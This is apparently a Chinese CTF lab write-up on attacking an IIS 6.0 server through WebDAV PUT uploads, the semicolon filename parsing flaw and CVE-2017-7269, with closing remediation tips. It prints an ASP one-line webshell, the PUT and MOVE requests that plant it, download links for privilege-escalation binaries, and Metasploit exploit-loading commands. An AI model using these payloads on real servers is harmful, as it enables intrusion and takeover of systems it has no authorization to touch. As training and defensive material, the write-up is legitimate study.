是的炒冷飯
0x01 事情起因#
整理遺漏靶場,靶場本身很簡單,拋磚引玉,主要是想分享幾篇好文章
0x02 漏洞介紹#
IIS 6.0 解析漏洞介紹#
IIS 是 Internet Information Services 的縮寫,意為互聯網信息服務,是由微軟公司提供的基於運行 Microsoft Windows 的互聯網基本服務。IIS 目前只適用於 Windows 系統,不適用於其他操作系統
IIS6
解析漏洞基於文件名,該版本 默認會將*.asp;.jpg
此種格式的文件名,當成Asp
解析,原理是伺服器默認不解析;号及其後面的內容,相當於截斷
另外,IIS6.x 除了會將擴展名為.asp 的文件解析為 asp 之外,還默認會將擴展名為.asa,.cdx,.cer 解析為 asp,
從網站屬性 -> 主目錄 -> 配置 可以看出,他們都是調用了 asp.dll 進行的解析。
IIS PUT 漏洞介紹#
IIS 6.0 PUT 上傳漏洞。產生原因是 IIS Server 在 Web 服務擴展中開啟了 WebDAV。並且管理員在配置權限時,沒有遵循最小原則。給 IIS 配置了可以寫入的權限,包括網站根目錄。
也叫做 IIS 寫權限漏洞
0x03 靶場復現#
題目描述#
背景介紹:
某日,安全工程師 "墨者" 對一內網進行授權掃描,在掃描過程中,發現了一台 Windows2003 的伺服器,開啟了 web 服務,業主單位員工堅稱是一個調試伺服器,只安裝了 IIS6.0,無任何代碼程序,不可能會有安全問題。"墨者" 一聽就來勁了,拿起工具,手起刀落~~~~~~
實訓目標
- 了解 IIS WebDAV 安全配置
- 了解 HTTP 標準方法外的其他一些方法
- 掌握 HTTP PUT 的方法測試利用
- 了解 IIS6 的畸形解析漏洞及利用測試方法
解題方向
通過上傳程序腳本,獲取 WEB 的權限;
PS:不要過於依賴現成工具!
題目打開長這樣:
思路探尋#
先看下iis
版本,可以用瀏覽器插件Wappalyzer
,也可以使用OPTIONS
請求方法查看:
HTTP1.0 定義了三種請求方法: GET、POST、HEAD
HTTP1.1 新增了五種請求方法:OPTIONS、PUT、DELETE、TRACE 、CONNECT
curl -X OPTIONS http://xxx.xxx.xxx.xxx:yyy/ -I
可以看到版本是6.0
burp 手操#
我們先來使用手動操作一遍,不建議成為工具黨
將GET
修改為OPTIONS
查看可執行命令:
然後我們PUT
一個ASP
一句話上去,文件名隨便寫比如2.txt
:
<%eval request("soapffz")%>
返回201 Created
,創建成功
PS:
這裡注意一個問題,不要只把GET
改為PUT 2.txt
,後面還有一個斜杠/
記得刪掉
我開始也搞了半天,看解析思路評論區很多老哥說怎麼試都不行最後精簡為自己手寫請求語句和HOST
才成功
我看了下都是沒有刪除這個斜杠,所以做題一定要細心啊
然後就可以使用MOVE
命令把2.txt
改為2.asp;.jpg
讓解析漏洞解析asp
核心語句如下;
MOVE /2.txt HTTP/1.1
Host: ip:端口
Destination: /2.asp;.jpg
<%eval request("soapffz")%>
會返回401 Unauthorized
,這個不影響,直接上蟻劍連接:
成功拿到flag
工具操作#
IIS Put Scaner v1.3
,來自nosec
,源網頁已經找不到了,可以簡單探測:
可以看到PUT
為YES
,所以具有寫權限,還有一款掃描工具DotNetScan
:
上傳asp
木馬的話使用著名工具桂林老兵的iiswrite
軟件的標題為:對IIS寫權限的利用 / 自定義數據包提交 - 桂林老兵作品
(目前下載默認被火絨查殺)
知道了有寫權限後,我們來上傳把asp
後綴改為txt
的木馬 (只能上傳txt
文件)
<%eval request("soapffz")%>
返回201
說明上傳成功,但是此時木馬不能被解析,再用工具的MOVE
或者COPY
方法把後綴改為asp
但是這個工具有一個缺陷,就是默認只能測試80
端口的站點,如果站點不在80
端口無法使用:
0x04 嘗試拿下伺服器#
看看我是啥權限#
靶場做完了,不繼續搞一下不就浪費了我 4 個靶場幣嗎?
看下權限:
連whoami
都不能執行,權限很低啊,根據參考文章:拿到 webshell 後虛擬終端拒絕訪問
操作如下;
下載 cmd.exe 和 iis6.0.exe
https://sudo0m.coding.me/update/webshell/cmd.exe
https://sudo0m.coding.me/update/webshell/iis6.exe
然後上傳到網站根目錄,這裡上傳的時候蟻劍還報了500 Internal Server
錯誤
用菜刀上傳成功:
設置終端為cmd.exe
:setp c:\inetpub\wwwroot\test.exe
然後就可以用iis6.exe
加上命令執行命令了:
執行了下whoami
已經是system
權限了,那也就沒機會練習提權了
附上secwiki
的Windows
提權GitHub 項目
CVE-2017-7269#
這個exp
的利用不是那麼一帆風順的,參考文章:IIS6_WebDAV 遠程代碼執行漏洞 (CVE-2017-7269) 的正確打開方式
msf
自帶一個利用模塊exploit/windows/iis/iis_webdav_scstoragepathfromurl
但是實測失敗:
利用失敗的原因#
失敗的原因有以下幾種:
端口和域名綁定問題#
實際環境中,iis 綁定的域名和端口可能不是默認的,比如:
默認綁定:
非默認綁定:
If 頭信息中的兩個 url 是要求和站點綁定相匹配的,否則只能收到一個 502。這裡所說的相匹配指的是 if 頭中 url 的 port 必須與站點綁定的端口相匹配,而 if 頭中的域名只需要和 host 頭保持一致就好
在我這種實戰場景中如果遇到這種情況一般就沒辦法了,因為伺服器不是自己的進不去設置
物理路徑#
POC 中 If 頭中的第一個 URL 會被解析成物理路徑,默認情況下是 C:\Inetpub\wwwroot\,也就是 19,在覆蓋緩衝區的時候填充的字符長度要根據物理路徑的長度來決定,且物理路徑長度 + 填充字符的個數 = 114。POC 中的是按照默認的物理路徑(19 位)來計算填充字符的長度的,當物理路徑的長度不為 19 位的時候就會收到一個 500。(這裡物理路徑長度計算方法要加上最後的 \)
爆破物理路徑長度並檢測漏洞工具IIS6_WebDAV_Scanner
,但是這個靶場檢測不出來:
我這個靶場就是默認的物理路徑,也就是長度 19,所以不是物理路徑的問題
試下網上的exp
,下載exp
並放入msf
的exploit
目錄:
mv cve-2017-7269.rb cve_2017_7269.rb
(-改為_否則無法識別)
mv cve_2017_7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/
use exploit/windows/iis/cve_2017_7269
(如果找不到腳本,可嘗試執行reload_all,並再次重啟msf)
0x05 漏洞修復建議#
IIS 遠程漏洞主要包括緩衝區溢出、認證繞過、拒絕服務、代碼執行和信息泄露漏洞,本地漏洞主要分布在信息泄露和權限提升漏洞分類,大部分漏洞利用難度較大,但是一旦成功被攻擊者利用,影響的不僅僅只是 IIS 伺服器,甚至可能是運行 IIS 的 Windows 主機。如果用戶主機被利用,那麼攻擊者可以將此台主機當作肉雞攻擊內網中的其他主機、伺服器或者網絡設備等,後果不堪設想
由於微軟並不認為 IIS6.0 這是一個漏洞,也沒有推出 IIS 6.0 的補丁,因此漏洞需要自己修復。
- 限制上傳目錄執行權限,不允許執行腳本 (圖片來自參考文章 1)
-
不允許新建目錄
-
上傳的文件需經過重命名 (時間戳 + 隨機數 +.jpg 等)
參考文章:
本文完。